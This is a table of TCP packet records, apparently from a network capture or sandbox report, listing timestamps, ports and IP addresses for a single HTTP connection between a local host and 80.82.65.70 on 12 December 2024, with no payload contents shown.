Dec 12, 2024 20:37:04.657727957 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.657824993 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.657881021 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.659210920 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.659275055 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.659451008 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.659509897 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.660722971 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.660783052 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.660914898 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.660969973 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.662338018 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.662400961 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.662481070 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.662538052 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.663845062 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.663903952 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.663990974 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.664047003 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.665545940 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.665605068 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.665692091 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.665756941 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.666935921 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.666987896 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.667126894 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.667233944 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.668525934 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.668576002 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.668723106 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.668776989 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.670082092 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.670145035 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.670249939 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.670300007 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.671583891 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.671642065 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.671770096 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.671818972 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.673111916 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.673170090 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.673300028 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.673350096 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.674670935 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.674722910 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.674870968 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.674920082 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.676270962 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.676321983 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.676460028 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.676506996 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.677742958 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.677850962 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.677938938 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.677993059 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.679346085 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.679402113 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.679510117 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.679565907 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.680871010 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.680929899 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.681056976 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.681111097 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.682471037 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.682527065 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.682580948 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.682636976 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.683989048 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.684048891 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.684120893 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.684173107 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.685535908 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.685591936 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.685724020 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.685775042 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.687050104 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.687107086 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.687258005 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.687354088 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.688586950 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.688637972 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.688711882 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.688756943 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.690159082 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.690212011 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.690289974 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.690337896 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.691770077 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.691832066 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.691895962 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.691950083 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.693285942 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.693341970 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.693414927 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.693469048 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.694840908 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.694896936 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.695048094 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.695101976 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.696309090 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.696368933 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.696439028 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.696491957 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.771738052 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.771784067 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.771821976 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.771866083 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.771866083 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.771919966 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.772260904 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.772452116 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.773004055 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.773076057 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.773175001 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.773236036 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.774281979 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.774342060 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.774440050 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.774494886 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.775491953 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.775556087 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.775702953 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.775760889 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.776716948 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.776777029 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.776885033 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.776941061 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.777889967 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.777947903 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.778103113 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.778171062 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.779220104 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.779334068 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.779469013 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.779519081 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.780389071 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.780448914 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.780558109 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.780616999 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.781615019 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.781680107 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.781804085 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.781861067 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.782828093 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.782887936 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.783030033 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.783086061 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.784429073 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.784487963 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.784648895 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.784727097 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.785358906 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.785418034 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.785515070 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.785569906 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.786555052 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.786613941 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.786761045 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.786818981 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.787911892 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.787972927 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.788055897 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.788111925 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.789036036 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.789091110 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.789191008 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.789247036 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.790292978 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.790352106 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.790496111 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.790550947 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.791625977 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.791687965 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.791785002 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.791836023 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.792777061 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.792826891 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.792960882 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.793009043 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.793967962 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.794024944 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.794156075 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.794223070 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.795201063 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.795253992 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.795434952 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.795483112 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.796442986 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.796521902 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.796621084 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.796700001 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.797724962 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.797785044 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.797916889 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.797974110 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.798938990 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.798999071 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.799149036 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.799204111 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.800228119 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.800337076 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.800435066 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.800491095 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.801414967 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.801476955 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.801573038 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.801629066 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.802654028 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.802715063 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.802865028 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.802922010 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.849072933 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.849256992 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.849348068 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.849405050 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.849592924 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.849632025 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.849647045 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.849678993 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.850723028 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.850786924 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.850928068 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.851001978 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.851927996 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.851988077 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.852293968 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.852351904 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.852488041 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.852543116 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.853526115 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.853579044 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.853733063 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.853790045 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.854742050 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.854794979 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.854927063 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.854980946 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.855998993 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.856065035 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.856149912 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.856200933 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.857213020 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.857275009 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.857403040 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.857459068 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.858437061 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.858494997 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.858633041 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.858695030 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.859688997 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.859754086 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.859898090 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.859952927 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.860928059 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.860985041 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.861135006 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.861183882 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.862287045 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.862421989 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.862443924 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.862513065 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.863428116 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.863487005 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.863590956 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.863646030 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.864582062 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.864643097 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.864945889 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.865004063 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.865889072 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.865947962 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.866101980 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.866158962 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.867214918 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.867275000 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.867383957 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.867441893 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.868339062 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.868396044 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.868525982 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.868577957 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.869606018 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.869654894 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.869817019 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.869865894 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.870806932 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.870862961 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.871043921 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.871098995 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.872049093 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.872111082 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.872309923 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.872370958 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.873279095 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.873339891 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.873498917 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.873555899 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.874591112 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.874733925 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.874758959 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.874846935 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.875819921 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.875890017 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.876089096 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.876147985 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.877000093 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.877063990 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.877495050 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.877556086 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.878232002 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.878304958 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.878427982 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.878485918 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.879456997 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.879534006 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.879661083 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.879723072 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.880644083 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.880714893 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.963632107 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.963731050 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.963833094 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.963891983 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.964190006 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.964245081 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.964471102 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.964524031 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.965249062 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.965305090 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.965420961 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.965472937 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.966360092 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.966408014 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.966536045 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.966608047 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.967499018 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.967545033 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.967672110 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.967719078 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.968560934 CET	80	49738	80.82.65.70	192.168.2.4
